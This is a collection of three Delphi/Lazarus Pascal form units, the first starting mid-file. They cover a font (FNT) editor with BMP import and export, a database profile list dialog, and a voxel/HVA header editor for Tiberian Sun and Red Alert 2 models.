cbStyle.ItemIndex = 1 ) then nFont.Style := [fsBold]; if( cbStyle.ItemIndex = 2 ) then nFont.Style := [fsUnderline]; if( cbStyle.ItemIndex = 3 ) then nFont.Style := [fsStrikeOut]; end; procedure TfrmMainFNT.FormClose(Sender: TObject; var Action1: TCloseAction); begin inifile_fnt_size := StrToInt(edSizeFont.Text); inifile_edge_size := sedSizeEdge.Value; inifile_shadow_offset := sedSizeShadow.Value; inifile_fnt_effects := cbStyle.ItemIndex; end; procedure TfrmMainFNT.cbUpperClick(Sender: TObject); begin if (cbUpper.Checked and ((inifile_symbol_type and 2) = 0)) then inifile_symbol_type := inifile_symbol_type + 2; if ((not cbUpper.Checked) and ((inifile_symbol_type and 2) = 2)) then inifile_symbol_type := inifile_symbol_type - 2; end; procedure TfrmMainFNT.cbMinusClick(Sender: TObject); begin if (cbMinus.Checked and ((inifile_symbol_type and 4) = 0)) then inifile_symbol_type := inifile_symbol_type + 4; if ((not cbMinus.Checked) and ((inifile_symbol_type and 4) = 4)) then inifile_symbol_type := inifile_symbol_type - 4; end; procedure TfrmMainFNT.cbNumbersClick(Sender: TObject); begin if (cbNumbers.Checked and ((inifile_symbol_type and 1) = 0)) then inifile_symbol_type := inifile_symbol_type + 1; if ((not cbNumbers.Checked) and ((inifile_symbol_type and 1) = 1)) then inifile_symbol_type := inifile_symbol_type - 1; end; procedure TfrmMainFNT.cbSymbolClick(Sender: TObject); begin if (cbSymbol.Checked and ((inifile_symbol_type and 8) = 0)) then inifile_symbol_type := inifile_symbol_type + 8; if ((not cbSymbol.Checked) and ((inifile_symbol_type and 8) = 8)) then inifile_symbol_type := inifile_symbol_type - 8; end; procedure TfrmMainFNT.cbExtendedClick(Sender: TObject); begin if (cbExtended.Checked and ((inifile_symbol_type and 16) = 0)) then inifile_symbol_type := inifile_symbol_type + 16; if ((not cbExtended.Checked) and ((inifile_symbol_type and 16) = 16)) then inifile_symbol_type := inifile_symbol_type - 16; end; procedure TfrmMainFNT.rbsRDClick(Sender: TObject); begin inifile_shadow_pos := 8; end; procedure TfrmMainFNT.rbsDMClick(Sender: TObject); begin inifile_shadow_pos := 7; end; procedure TfrmMainFNT.rbsLDClick(Sender: TObject); begin inifile_shadow_pos := 6; end; procedure TfrmMainFNT.rbsRMClick(Sender: TObject); begin inifile_shadow_pos := 5; end; procedure TfrmMainFNT.rbsLMClick(Sender: TObject); begin inifile_shadow_pos := 4; end; procedure TfrmMainFNT.rbsRTClick(Sender: TObject); begin inifile_shadow_pos := 3; end; procedure TfrmMainFNT.rbsTMClick(Sender: TObject); begin inifile_shadow_pos := 2; end; procedure TfrmMainFNT.rbsLTClick(Sender: TObject); begin inifile_shadow_pos := 1; end; procedure TfrmMainFNT.sbSaveClick(Sender: TObject); begin if sbInfo.Panels.Items[0].Text = '' then sbSaveAsClick(Sender) else if FileExistsUTF8(sbInfo.Panels.Items[0].Text) { *Converted from FileExists* } then if save_fnt(sbInfo.Panels.Items[0].Text, fBPP.cbBPP.itemIndex) then showmessage('Tipografía guardada.'); end; procedure TfrmMainFNT.sbSaveAsClick(Sender: TObject); var QueryResult : LongInt; //str : String; begin QueryResult := IDYES; if fBpp.ShowModal = mrOk then if dlgSave.Execute then begin (*if( StrPos(StrLower(PChar(dlgSave.FileName)), '.fnt') = nil ) then str := dlgSave.FileName + '.fnt' else str := dlgSave.FileName;*) if( FileExistsUTF8(dlgSave.FileName) { *Converted from FileExists* } ) then QueryResult := MessageBox(frmMainFNT.Handle, 'El fichero ya existe ¿Desea sobreescribirlo?', '¡Aviso!', 4); //Si se cancela la operación if QueryResult = IDNO then Exit; if fBPP.cbBpp.ItemIndex = 1 then begin // Creando paleta if (not FrmCFG.user_palette) or (FrmCFG.rbFNT2PAL.Checked) then begin DrawProgress('Calculando paleta...'); CreatePAL; end; // Actualizando información Init_Color_Table_16_to_8; // Inicializa la tabla con la paleta Init_Color_Table_With_Palette; end; if save_fnt( dlgSave.FileName , fBPP.cbBpp.ItemIndex) then begin sbInfo.Panels.Items[0].Text := dlgSave.FileName; showmessage('Fuente guardada.'); DrawProgress(''); end; EnableButtons; end; end; procedure TfrmMainFNT.CreateBitmaps; var i : Integer; begin img_font := TBitMap.Create; img_edge := TBitMap.Create; img_shadow := TBitMap.Create; img_font.PixelFormat := pf32bit; img_edge.PixelFormat := pf32bit; img_shadow.PixelFormat := pf32bit; for i := 0 to 255 do begin fnt_container.char_data[i].ischar := false; //fnt_container.char_data[i].Bitmap := TBitMap.Create; //fnt_container.char_data[i].Bitmap.PixelFormat := pf32bit; //fnt_container.char_data[i].Bitmap.Width := 100; //fnt_container.char_data[i].Bitmap.Height := 100; fnt_container.header.char_info[i].width := 0;//fnt_container.char_data[i].Bitmap.Width; fnt_container.header.char_info[i].height := 0;//fnt_container.char_data[i].Bitmap.Height; fnt_container.header.char_info[i].vertical_offset := 0; end; end; procedure TfrmMainFNT.DestroyBitmaps; begin unload_fnt; img_font.Destroy; img_edge.Destroy; img_shadow.Destroy; end; procedure TfrmMainFNT.ClearBitmap(var bmp : TBitmap); var x, y : Integer; lazBMP : TLazIntfImage; begin lazBMP:= bmp.CreateIntfImage; for y := 0 to bmp.Height - 1 do for x := 0 to bmp.Width - 1 do lazBMP.Colors[x,y]:=colTransparent; bmp.LoadFromIntfImage(lazBMP); lazBMP.free; end; procedure TfrmMainFNT.sbChangeBGColorClick(Sender: TObject); begin if dlgColor.Execute then begin inifile_bgcolor := dlgColor.Color; UpdateBGColor; write_inifile; end; end; procedure TfrmMainFNT.UpdateBGColor; var i, j : Integer; begin for i := 2 to 17 do for j := 2 to 17 do sbChangeBGColor.Glyph.Canvas.Pixels[i,j] := inifile_bgcolor; pImage.Color := inifile_bgcolor; end; procedure TfrmMainFNT.MakeText(str_in: string); var bmp_buffer : TBitmap; i, x, nOrd, MaxWidth, MaxHeight, WSpaces, WSOffset : Integer; str : string; begin MaxWidth := 0; MaxHeight := 0; str:=trim(str_in); if not isFNTLoad then exit; if str ='' then begin MakePreview; exit; end; for i := 1 to Length(str) do begin nOrd := Ord(str[i]); if not fnt_container.char_data[nOrd].ischar then continue; MaxWidth := MaxWidth + fnt_container.header.char_info[nOrd].width; if (fnt_container.header.char_info[nOrd].height + fnt_container.header.char_info[nOrd].vertical_offset) > MaxHeight then MaxHeight := fnt_container.header.char_info[nOrd].height + fnt_container.header.char_info[nOrd].vertical_offset; end; WSpaces := 0; // Contamos los espacios en blanco for i := 1 to Length(str) do begin nOrd := Ord(str[i]); if nOrd = 32 then WSpaces := WSpaces + 1; end; WSOffset := MaxWidth div (Length(str) - WSpaces); MaxWidth := MaxWidth + (WSOffset * WSpaces); bmp_buffer := TBitmap.Create; bmp_buffer.PixelFormat := pf32bit; // bmp_buffer.Palette := CopyPalette(fnt_hpal); bmp_buffer.Width := MaxWidth + 2; bmp_buffer.Height := MaxHeight + 2; // ClearBitmap(bmp_buffer); x := 1; for i := 1 to Length(str) do begin nOrd := Ord(str[i]); // Si hay un espacio if nOrd = 32 then x := x + WSOffset; if not fnt_container.char_data[nOrd].ischar then continue; bmp_buffer.Canvas.Draw( x, fnt_container.header.char_info[nOrd].vertical_offset + 1, fnt_container.char_data[nOrd].Bitmap ); x := x + fnt_container.header.char_info[nOrd].width; end; imgPreview.Picture.Bitmap.Assign(bmp_buffer); // imgPreview.Picture.Bitmap.Transparent:=true; // imgPreview.Picture.Bitmap.TransparentColor:=clBlack; bmp_buffer.Destroy; end; procedure TfrmMainFNT.MakeChar(index: integer); begin if not isFNTLoad then exit; if not fnt_container.char_data[index].ischar then exit; imgPreview.Picture.Bitmap.Assign(fnt_container.char_data[index].Bitmap); end; procedure TfrmMainFNT.sbWriteTextClick(Sender: TObject); begin if not isFNTLoad then begin showmessage('Aviso, no hay tipografía cargada'); Exit; end; if EPreview.Text <> '' then MakeText(EPreview.Text); end; procedure TfrmMainFNT.sbMakeFontClick(Sender: TObject); begin nFont.Size := StrToInt(edSizeFont.Text); inifile_fnt_size := StrToInt(edSizeFont.Text); inifile_edge_size := sedSizeEdge.Value; inifile_shadow_offset := sedSizeShadow.Value; inifile_fnt_effects := cbStyle.ItemIndex; if inifile_fnt_effects = 0 then // Normal nFont.Style := []; if inifile_fnt_effects = 1 then // Negrita nFont.Style := [fsBold]; if inifile_fnt_effects = 2 then // Subrayado nFont.Style := [fsUnderline]; if inifile_fnt_effects = 3 then // Tachado nFont.Style := [fsStrikeOut]; write_inifile; unload_fnt; MakeFont; EnableButtons; end; procedure TfrmMainFNT.ExportFNT(str : string); var bmp_buffer : TBitmap; i, j, x, MaxWidth, MaxHeight : Integer; lazBMPbuffer, lazBMPfnt : TLazIntfImage; begin MaxWidth := 0; MaxHeight := 0; dpCount := 0; dpTotal := 256; for i := 0 to 255 do begin MaxWidth := MaxWidth + 1; if not fnt_container.char_data[i].ischar then begin MaxWidth := MaxWidth + 1; continue; end; MaxWidth := MaxWidth + fnt_container.header.char_info[i].width; if (fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset) > MaxHeight then MaxHeight := fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset; end; bmp_buffer := TBitmap.Create; bmp_buffer.PixelFormat := pf32bit; //bmp_buffer.Palette := CopyPalette(fnt_container.hpal); bmp_buffer.Width := MaxWidth +1 ; // +1 to paint the last vertical line bmp_buffer.Height := MaxHeight + 2; // +2 to paint the first an last horizontal line // Limpiamos la imagen lazBMPbuffer:= bmp_buffer.CreateIntfImage; for i := 0 to bmp_buffer.Width - 1 do for j := 0 to bmp_buffer.Height - 1 do lazBMPbuffer.Colors[i,j]:= colBlack; x := 1; // Copiamos las Tipografías for i := 0 to 255 do begin lazBMPbuffer.Colors[x-1, 0] := colTransparent; drawProgress('Exportando caracter:'+inttostr(i)+ '...'); if not fnt_container.char_data[i].ischar then begin lazBMPbuffer.Colors[x, 0] := colTransparent; x := x + 2; continue; end; lazBMPfnt :=fnt_container.char_data[i].Bitmap.CreateIntfImage; lazBMPbuffer.CopyPixels( lazBMPfnt, x, fnt_container.header.char_info[i].vertical_offset + 1 ); lazBMPfnt.free; lazBMPbuffer.Colors[x + fnt_container.char_data[i].Bitmap.Width, 0] := colTransparent; lazBMPbuffer.Colors[x + fnt_container.char_data[i].Bitmap.Width, fnt_container.header.char_info[i].vertical_offset + fnt_container.char_data[i].Bitmap.Height + 1] := colTransparent; lazBMPbuffer.Colors[x-1, fnt_container.header.char_info[i].vertical_offset + 1] := colTransparent; x := x + fnt_container.header.char_info[i].width + 1; end; bmp_buffer.LoadFromIntfImage(lazBMPbuffer); lazBMPbuffer.Free; bmp_buffer.SaveToFile(str); bmp_buffer.Destroy; drawProgress(''); showmessage('Tipografía exportada correctamente.'); end; procedure TfrmMainFNT.ImportFNT( str : string ); var bmp_buffer : TBitmap; bmp_tmp : TBitmap; bExit : Boolean; i, j, k, x, y : LongInt; tWidth, tHeight, tVOffset, tDOffset : Integer; lazBMPbuffer,lazBMPtmp : TLazIntfImage; begin if not FileExistsUTF8(str) { *Converted from FileExists* } then Exit; bmp_buffer := TBitmap.Create; bmp_buffer.LoadFromFile(str); lazBMPbuffer:=bmp_buffer.CreateIntfImage; // Comprobaciones básicas para ver que pudiese contener Tipografía bExit := (bmp_buffer.Width <= 1) or (bmp_buffer.Height <= 1); bExit := (lazBMPbuffer.Colors[0,0] <> colTransparent) or bExit; //bExit := (lazBMPbuffer.Colors[0,1] <> colBlack) or bExit; if bExit then begin bmp_buffer.Destroy; lazBMPbuffer.free; showmessage('Esta imagen no contiene una tipografía (FNT)'); Exit; end; // Pensamos que contiene una Tipografía e intentamos cargarla dpCount := 0; dpTotal := 256; unload_fnt; (* // Obtenemos la paleta GetPaletteEntries(bmp_buffer.Palette, 0, 256, pal); for i := 0 to 255 do begin fnt_container.header.palette[ i*3 ] := pal[i].peRed; fnt_container.header.palette[(i*3) + 1] := pal[i].peGreen; fnt_container.header.palette[(i*3) + 2] := pal[i].peBlue; end; Create_hpal; *) x := 0; y := 0; inifile_symbol_type := 0; for i := 0 to 255 do begin drawProgress('Importando caracter: '+inttostr(i)+'...'); // Si no hay caracter if lazBMPbuffer.Colors[x + 1, y] = colTransparent then begin x := x + 2; continue; end; // Obtiene el ancho tWidth := 0; while lazBMPbuffer.colors[x + tWidth + 1, y] <> colTransparent do tWidth := tWidth + 1; // Otiene el VOffset tVOffset := 0; while lazBMPbuffer.colors[x, y + tVOffset + 1] <> colTransparent do tVOffset := tVOffset + 1; // Otiene el DOffset tDOffset := 0 ; while lazBMPbuffer.colors[x + tWidth + 1, bmp_buffer.Height - tDOffset - 1] <> colTransparent do tDOffset := tDOffset + 1; // Obtiene el alto tHeight := bmp_buffer.Height - tVOffset - tDOffset - 2; bmp_tmp := TBitmap.Create; bmp_tmp.PixelFormat := pf32bit; // bmp_tmp.Palette := CopyPalette(fnt_hpal); bmp_tmp.Width := tWidth; bmp_tmp.Height := tHeight; lazBMPtmp:=bmp_tmp.CreateIntfImage; for k := 0 to bmp_tmp.Height - 1 do for j := 0 to bmp_tmp.Width - 1 do lazBMPtmp.Colors[j,k]:=lazBMPbuffer.colors[x + j + 1,k + tVOffset + 1]; x := x + bmp_tmp.Width + 1; fnt_container.header.char_info[i].vertical_offset:= tVOffset; fnt_container.header.char_info[i].width := tWidth; fnt_container.header.char_info[i].height := tHeight; fnt_container.char_data[i].Bitmap:= TBitmap.Create; fnt_container.char_data[i].Bitmap.LoadFromIntfImage(lazBMPtmp); fnt_container.char_data[i].ischar := true; // Mayusculas if (inifile_symbol_type and 2) = 0 then if (i >= 65) and (i <= 90) then inifile_symbol_type := inifile_symbol_type + 2; // Minusculas if (inifile_symbol_type and 4) = 0 then if (i >= 97) and (i <= 122) then inifile_symbol_type := inifile_symbol_type + 4; // Múmeros if (inifile_symbol_type and 1) = 0 then if (i >= 48) and (i <= 57) then inifile_symbol_type := inifile_symbol_type + 1; // Simbolos if (inifile_symbol_type and 8) = 0 then if ( ((i >= 33) and (i <= 47)) or ((i >= 58) and (i <= 64)) or ((i >= 91) and (i <= 96)) or ((i >= 123) and (i <= 127)) ) then inifile_symbol_type := inifile_symbol_type + 8; // Extendido if (inifile_symbol_type and 16) = 0 then if (i >= 128) then inifile_symbol_type := inifile_symbol_type + 16; end; lazBMPtmp.free; lazBMPbuffer.free; bmp_buffer.Destroy; bmp_tmp.Destroy; SetFNTSetup; MakePreview; cbNumbers.Checked := ((inifile_symbol_type and 1 ) = 1); cbUpper.Checked := ((inifile_symbol_type and 2 ) = 2); cbMinus.Checked := ((inifile_symbol_type and 4 ) = 4); cbSymbol.Checked := ((inifile_symbol_type and 8 ) = 8); cbExtended.Checked := ((inifile_symbol_type and 16) = 16); drawProgress(''); sbInfo.Panels.Items[1].Text := 'Tamaño: ' + IntToStr(fnt_container.sizeof div 1024) + 'KB'; showmessage('Tipografía importada correctamente.'); end; procedure TfrmMainFNT.sbExportClick(Sender: TObject); var QueryResult : integer; begin QueryResult := IDYES; if not isFNTLoad then begin showmessage('Aviso, no hay tipografía cargada'); Exit; end else begin sdSaveText.Title := 'Exportar tipografía a BMP'; if sdSaveText.Execute then begin if( FileExistsUTF8(sdSaveText.FileName) { *Converted from FileExists* } ) then QueryResult := MessageBox(frmMainFNT.Handle, 'El fichero ya existe ¿Desea sobreescribirlo?', '¡Aviso!', 4); //Si se cancela la operación if QueryResult = IDNO then Exit; ExportFNT(sdSaveText.FileName); end; end; end; procedure TfrmMainFNT.sbImportClick(Sender: TObject); begin if odImportFNT.Execute then begin ImportFNT(odImportFNT.FileName); EnableButtons; end; end; procedure TfrmMainFNT.sbOptionsClick(Sender: TObject); begin FrmCFG.palette:=fnt_container.header.palette; FrmCFG.ShowModal; end; procedure TfrmMainFNT.sbSaveTextClick(Sender: TObject); var QueryResult : integer; begin QueryResult := IDYES; if not isFNTLoad then begin showmessage('Aviso, no hay tipografía cargada'); Exit; end else begin sdSaveText.Title := 'Guardar texto'; if sdSaveText.Execute then begin if( FileExistsUTF8(sdSaveText.FileName) { *Converted from FileExists* } ) then QueryResult := MessageBox(frmMainFNT.Handle, 'El fichero ya existe ¿Desea sobreescribirlo?', '¡Aviso!', 4); //Si se cancela la operación if QueryResult = IDNO then Exit; imgPreview.Picture.SaveToFile(sdSaveText.FileName); end; end; end; procedure TfrmMainFNT.seCharPreviewChange(Sender: TObject); begin MakeTextParsingCharset(''+chr(seCharPreview.Value)); end; procedure TfrmMainFNT.seFontAlfaChange(Sender: TObject); begin alpha_font := seFontalfa.value; end; procedure TfrmMainFNT.seSoAlfaChange(Sender: TObject); begin alpha_shadow := seSoalfa.value; end; procedure TfrmMainFNT.seReAlfaChange(Sender: TObject); begin alpha_edge := seRealfa.value; end; procedure TfrmMainFNT.EnableButtons; begin sbShowFNT.Enabled:=((Byte(fnt_container.header.file_type[1])+Byte(fnt_container.header.file_type[2]) +Byte(fnt_container.header.file_type[3])) <> 0); end; end.
unit DatabasesSetup; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, ComCtrls, ImgList, LMDCustomComponent, LMDBrowseDlg, ServerDatabases; type TDatabasesSetupForm = class(TForm) Panel3: TPanel; Button1: TButton; NewButton: TButton; DeleteButton: TButton; ImageList1: TImageList; DatabaseList: TListView; PropertiesButton: TButton; procedure NewButtonClick(Sender: TObject); procedure DatabaseListSelectItem(Sender: TObject; Item: TListItem; Selected: Boolean); procedure FormCreate(Sender: TObject); procedure DatabaseListEdited(Sender: TObject; Item: TListItem; var S: String); procedure DeleteButtonClick(Sender: TObject); procedure PropertiesButtonClick(Sender: TObject); private { Private declarations } FDatabaseMgr: TServerDatabaseProfileMgr; protected procedure SelectDatabase(inIndex: Integer); procedure UpdateDatabaseList; procedure SetDatabaseMgr(const Value: TServerDatabaseProfileMgr); public { Public declarations } property DatabaseMgr: TServerDatabaseProfileMgr read FDatabaseMgr write SetDatabaseMgr; end; var DatabasesSetupForm: TDatabasesSetupForm; implementation uses DatabaseSetup; var Item: TListItem; Database: TServerDatabaseProfile; {$R *.dfm} procedure TDatabasesSetupForm.FormCreate(Sender: TObject); begin // end; procedure TDatabasesSetupForm.DatabaseListSelectItem(Sender: TObject; Item: TListItem; Selected: Boolean); begin if Selected then SelectDatabase(Item.Index); end; procedure TDatabasesSetupForm.UpdateDatabaseList; var i, s: Integer; begin with DatabaseList do begin Items.BeginUpdate; try if Selected <> nil then s := Selected.Index else s := 0; Clear; for i := 0 to Pred(DatabaseMgr.Profiles.Count) do with DatabaseMgr.Databases[i], Items.Add do begin Caption := Name; //ImageIndex := Ord(Target); end; if Items.Count > 0 then begin if Items.Count > s then Selected := Items[s] else Selected := Items[0]; end; finally Items.EndUpdate; end; PropertiesButton.Enabled := (Items.Count > 0); end; end; procedure TDatabasesSetupForm.NewButtonClick(Sender: TObject); begin DatabaseMgr.Profiles.Add; UpdateDatabaseList; with DatabaseList do Selected := Items[Pred(Items.Count)]; end; procedure TDatabasesSetupForm.DeleteButtonClick(Sender: TObject); begin if MessageDlg('Delete server "' + Database.Name + '"?', mtConfirmation, mbYesNoCancel, 0) = mrYes then begin DatabaseMgr.Profiles.Delete(Database.Index); UpdateDatabaseList; end; end; procedure TDatabasesSetupForm.SelectDatabase(inIndex: Integer); begin Database := DatabaseMgr.Databases[inIndex]; Item := DatabaseList.Items[inIndex]; end; procedure TDatabasesSetupForm.DatabaseListEdited(Sender: TObject; Item: TListItem; var S: String); begin Database.Name := S; end; procedure TDatabasesSetupForm.SetDatabaseMgr(const Value: TServerDatabaseProfileMgr); begin FDatabaseMgr := Value; UpdateDatabaseList; end; procedure TDatabasesSetupForm.PropertiesButtonClick(Sender: TObject); begin with TDatabaseSetupForm.Create(nil) do try DatabaseMgr := Database.Databases; ShowModal; finally Free; end; UpdateDatabaseList; end; end.
unit FormHeaderUnit; interface uses Windows, Forms, StdCtrls, Controls, Classes, ExtCtrls, Voxel, Sysutils, Buttons, Dialogs, Grids, Graphics,math, ComCtrls, Spin, Voxel_Engine, BasicDataTypes, HVA; {$INCLUDE source/Global_Conditionals.inc} type TFrmHeader = class(TForm) PageControl1: TPageControl; TabSheet1: TTabSheet; TabSheet2: TTabSheet; Label8: TLabel; cmbSection: TComboBox; Label9: TLabel; txtName: TEdit; txtNumber: TEdit; txtUnknown1: TEdit; txtUnknown2: TEdit; Label10: TLabel; Label11: TLabel; Label15: TLabel; grdTrans: TStringGrid; Label13: TLabel; Image1: TImage; Label14: TLabel; Bevel1: TBevel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Label16: TLabel; Label6: TLabel; Label7: TLabel; Label1: TLabel; txtNormalMode: TComboBox; TabSheet3: TTabSheet; Label5: TLabel; Label20: TLabel; Label21: TLabel; Label22: TLabel; scaleXmin: TEdit; scaleYmin: TEdit; scaleZmin: TEdit; Label12: TLabel; Label18: TLabel; Label19: TLabel; scaleXmax: TEdit; scaleYmax: TEdit; scaleZmax: TEdit; scale: TEdit; Label23: TLabel; SpCalculate: TSpeedButton; Label17: TLabel; BtnApply: TButton; Label24: TLabel; Bevel2: TBevel; Panel1: TPanel; Image2: TImage; Label25: TLabel; Label26: TLabel; Bevel3: TBevel; Panel2: TPanel; BtClose: TButton; GrpVoxelType: TGroupBox; rbLand: TRadioButton; rbAir: TRadioButton; SpFrame: TSpinEdit; procedure SpFrameChange(Sender: TObject); procedure cmbSectionChange(Sender: TObject); procedure butCloseClick(Sender: TObject); procedure txtChange(Sender: TObject); procedure grdTransSetEditText(Sender: TObject; ACol, ARow: Integer; const Value: String); procedure SpCalculateClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure BtCloseClick(Sender: TObject); private { Private declarations } p: PVoxel; HVA : PHVA; public { Public declarations } procedure SetValues(_Vox: PVoxel; _HVA: PHVA); end; implementation uses FormMain, BasicVXLSETypes; {$R *.DFM} procedure TFrmHeader.SetValues(_Vox: PVoxel; _HVA: PHVA); var i: Integer; begin p:=_Vox; HVA := _HVA; label2.caption:='File Type: '+p^.Header.FileType; label3.caption:='Num Palettes: '+IntToStr(p^.Header.NumPalettes); label4.caption:='Num Sections: '+IntToStr(p^.Header.NumSections) + ' - ' +IntToStr(p^.Header.NumSections2); label6.caption:='Start: '+IntToStr(p^.Header.StartPaletteRemap); label7.caption:='End: '+IntToStr(p^.Header.EndPaletteRemap); label14.caption:= extractfilename(VXLFilename); if p^.Section[0].Tailer.NormalsType = 2 then Label17.caption := 'Game: Tiberian Sun' else if p^.Section[0].Tailer.NormalsType = 4 then Label17.caption := 'Game: Red Alert 2' else Label17.caption := 'Game: Unknown'; cmbSection.Style:=csDropDownList; cmbSection.Items.Clear; for i:=0 to p^.Header.NumSections - 1 do begin cmbSection.Items.Add(p^.Section[i].Name); end; SpFrame.MinValue := 1; SpFrame.MaxValue := HVA^.Header.N_Frames; SpFrame.Value := 1; cmbSection.ItemIndex:=0; cmbSectionChange(Self); end; procedure TFrmHeader.cmbSectionChange(Sender: TObject); var i: Integer; begin //now populate those other list boxes... i:=cmbSection.ItemIndex; //Stucuk: Start and end colour values have no effect on Voxels in game, even tho they are saved into the voxel. // StartColour.OnChange:=nil; // StartColour.value := p^.Header.StartPaletteRemap; // StartColour.OnChange:=StartColourChange; // EndColour.OnChange:=nil; // EndColour.value := p^.Header.EndPaletteRemap; // EndColour.OnChange:=StartColourChange; txtName.OnChange:=nil; txtName.Text:=p^.Section[i].Name; // txtName.OnChange:=txtChange; txtNumber.OnChange:=nil; txtNumber.Text:=IntToStr(p^.Section[i].Header.Number); // txtNumber.OnChange:=txtChange; txtUnknown1.OnChange:=nil; txtUnknown1.Text:=IntToStr(p^.Section[i].Header.Unknown1); // txtUnknown1.OnChange:=txtChange; txtUnknown2.OnChange:=nil; txtUnknown2.Text:=IntToStr(p^.Section[i].Header.Unknown2); // txtUnknown2.OnChange:=txtChange; txtNormalMode.OnChange:=nil; txtNormalMode.ItemIndex := p^.Section[i].Tailer.NormalsType-1; txtNormalMode.Text:=IntToStr(p^.Section[i].Tailer.NormalsType); // txtNormalMode.OnChange:=txtChange; // txtTrailer.Lines.Clear; scaleXmin.OnChange:=nil; scaleXmin.Text := floattostr(p^.Section[i].Tailer.MinBounds[1]); // scaleXmin.OnChange:=txtChange; scaleYmin.OnChange:=nil; scaleYmin.Text := floattostr(p^.Section[i].Tailer.MinBounds[2]); // scaleYmin.OnChange:=txtChange; scaleZmin.OnChange:=nil; scaleZmin.Text := floattostr(p^.Section[i].Tailer.MinBounds[3]); // scaleZmin.OnChange:=txtChange; scaleXmax.OnChange:=nil; scaleXmax.Text := floattostr(p^.Section[i].Tailer.MaxBounds[1]); // scaleXmax.OnChange:=txtChange; scaleYmax.OnChange:=nil; scaleYmax.Text := floattostr(p^.Section[i].Tailer.MaxBounds[2]); // scaleYmax.OnChange:=txtChange; scaleZmax.OnChange:=nil; scaleZmax.Text := floattostr(p^.Section[i].Tailer.MaxBounds[3]); // scaleZmax.OnChange:=txtChange; scale.OnChange:=nil; scale.Text := floattostr(p^.Section[i].Tailer.det); // scale.OnChange:=txtChange; With p^.Section[i].Tailer do begin label1.Caption:='Dimensions: '+Format('%dx%dx%d', [XSize,YSize,ZSize]); end; SpFrameChange(Sender); BtnApply.Enabled := true; end; procedure TFrmHeader.butCloseClick(Sender: TObject); begin Close; end; procedure TFrmHeader.txtChange(Sender: TObject); var i: Integer; begin // ShowMessage(Sender.ClassName); //FrmMain.Clicked := true; // Made changes to voxel... alert system i:=cmbSection.ItemIndex; if i>=0 then begin try if txtName.Text <> '' then begin p^.Section[i].SetHeaderName(txtName.Text); FrmMain.SectionCombo.Items.Strings[i] := txtName.Text; cmbSection.Items[i] := p^.Section[i].Name; cmbSection.ItemIndex := i; end; FrmMain.SectionCombo.ItemIndex:= FrmMain.Document.ActiveSection^.Header.Number; p^.Section[i].Header.Number:=StrToIntDef(txtNumber.Text,0); p^.Section[i].Header.Unknown1:=StrToIntDef(txtUnknown1.Text,1); p^.Section[i].Header.Unknown2:=StrToIntDef(txtUnknown2.Text,0); if p^.Section[i].Tailer.NormalsType <> txtNormalMode.itemindex+1 then begin SetNormals(txtNormalMode.itemindex+1); // p^.Section[i].Tailer.Unknown:=txtNormalMode.itemindex+1; if FrmMain.Document.ActiveSection^.Tailer.NormalsType = 2 then FrmMain.StatusBar1.Panels[0].Text := 'Type: Tiberian Sun' else if FrmMain.Document.ActiveSection^.Tailer.NormalsType = 4 then FrmMain.StatusBar1.Panels[0].Text := 'Type: RedAlert 2' else FrmMain.StatusBar1.Panels[0].Text := 'Type: Unknown ' + inttostr(FrmMain.Document.ActiveSection^.Tailer.NormalsType); SetNormalsCount; FrmMain.cnvPalette.Refresh; RepaintViews; end; p^.Section[i].Tailer.MinBounds[1] := StrToFloat(scaleXmin.Text); p^.Section[i].Tailer.MinBounds[2] := StrToFloat(scaleYmin.Text); p^.Section[i].Tailer.MinBounds[3] := StrToFloat(scaleZmin.Text); p^.Section[i].Tailer.MaxBounds[1] := StrToFloat(scaleXmax.Text); p^.Section[i].Tailer.MaxBounds[2] := StrToFloat(scaleYmax.Text); p^.Section[i].Tailer.MaxBounds[3] := StrToFloat(scaleZmax.Text); p^.Section[i].Tailer.Det := StrToFloat(scale.Text); //BtnApply.Enabled := false; FrmMain.RefreshAll; except on EConvertError do begin //i:=0; end; end; end; end; procedure TFrmHeader.grdTransSetEditText(Sender: TObject; ACol, ARow: Integer; const Value: String); var i,j,k,Frame: Integer; M : TTransformMatrix; begin i:=cmbSection.ItemIndex; Frame := StrToIntDef(SpFrame.Text,0); if (i>=0) and (Frame > 0) then begin try for j:=1 to 3 do begin for k:=1 to 4 do begin M[j,k]:=StrToFloatDef(grdTrans.Cells[k-1,j-1],1); end; end; HVA^.SetMatrix(M,Frame-1,i); except on EConvertError do begin //i:=0; end; end; end; end; procedure TFrmHeader.SpCalculateClick(Sender: TObject); begin with p^.Section[cmbSection.ItemIndex] do begin scaleXmax.text := floattostr((Tailer.XSize /2)); scaleZmax.text := floattostr((Tailer.ZSize /2)); scaleXmin.text := floattostr(0 - (Tailer.XSize /2)); scaleZmin.text := floattostr(0 - (Tailer.ZSize /2)); if (rbAir.Checked) then begin scaleYmax.text := floattostr((Tailer.YSize /2)); scaleYmin.text := floattostr(0 - (Tailer.YSize /2)); end else begin scaleYmax.text := floattostr(Tailer.YSize); scaleYmin.text := floattostr(0); end; end; end; procedure TFrmHeader.SpFrameChange(Sender: TObject); var MyValue,i,j: integer; begin MyValue := StrToIntDef(SpFrame.Text,0); if (MyValue >= SpFrame.MinValue) and (MyValue <= SpFrame.MaxValue) then begin for i:=1 to 3 do begin for j:=1 to 4 do begin grdTrans.Cells[j-1,i-1]:=FloatToStr(HVA^.GetTMValue(i,j,cmbSection.ItemIndex,MyValue-1)); end; end; end else begin SpFrame.Value := SpFrame.MinValue; SpFrameChange(Sender); end; end; procedure TFrmHeader.FormCreate(Sender: TObject); begin if FrmMain.Document.ActiveSection^.Tailer.NormalsType = 4 then FrmMain.IconList.GetIcon(2,Image1.Picture.Icon) else FrmMain.IconList.GetIcon(0,Image1.Picture.Icon); Panel2.DoubleBuffered := true; //1.3: Voxel Type Support. if VoxelType = vtLand then rbLand.Checked := true else rbAir.Checked := true; end; procedure TFrmHeader.BtCloseClick(Sender: TObject); begin Close; end; end.
